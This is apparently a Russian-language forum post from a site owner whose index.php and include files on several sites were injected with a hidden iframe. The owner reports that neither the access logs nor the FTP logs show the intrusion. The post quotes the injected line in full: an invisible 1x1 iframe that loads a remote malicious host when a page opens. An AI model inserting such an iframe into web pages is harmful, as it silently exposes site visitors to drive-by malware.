Во всех index.php и большинстве инклудах появились вот такие строки:
<html><body><iframe src="http://litedownloadseek.cn/in.cgi?cocacola26" width=1 height=1 style="visibility: hidden"></iframe></body></html>
По логам ничего. По ftp логам тоже ничего, мой ip и ip хостинг провайдера, они перенос делали.
Хостинг mchost
У меня облысение уже началось.... по всем сайтам у меня тысячи indexных и инк. файлов, придется все перегружать